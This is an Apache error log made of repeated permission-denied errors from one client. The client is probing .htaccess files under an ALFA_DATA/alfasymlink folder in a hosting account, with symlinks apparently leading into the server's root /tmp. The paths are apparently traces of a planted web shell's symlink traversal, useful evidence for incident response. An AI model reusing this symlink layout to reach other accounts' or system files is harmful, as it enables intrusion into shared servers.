[Sun Oct 25 14:22:26.835723 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:22:26.835735 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:22:26.835747 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:22:26.835778 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:22:26.835795 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:22:26.835835 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:22:26.835858 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:22:26.835873 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:22:26.835905 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:22:26.835918 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:22:26.835953 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:22:26.835978 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:22:26.835998 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:22:26.836012 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:22:26.836025 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:22:26.836061 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:22:26.836090 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:22:26.836103 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:22:26.836124 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:22:26.836149 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:22:26.836168 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:22:26.836181 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:22:26.836202 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:22:26.836221 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:22:26.836243 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:22:26.836268 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:22:26.836286 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:22:26.836299 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:22:26.836310 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:22:26.836349 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:22:26.836365 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:22:26.836393 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:22:26.836406 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:22:26.836444 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:22:26.836489 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:22:26.836547 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:22:26.836563 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:22:26.836583 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:22:26.836596 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:22:26.836607 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:22:26.836634 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:22:26.836663 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:22:26.836676 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:22:26.836687 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:22:26.836714 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:22:26.836733 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:22:26.836751 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:22:26.836790 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:22:26.836813 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:22:26.836849 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Sun Oct 25 14:22:26.836882 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:22:26.836903 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:22:26.836916 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:22:26.836961 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:22:26.836997 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:22:26.837029 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:22:26.837063 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:22:26.837088 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:22:26.837110 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:22:26.837129 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:22:26.837165 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:22:26.837192 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:22:26.837212 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:22:26.837227 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:22:26.837256 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:22:26.837268 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:22:26.837289 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:22:26.837320 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
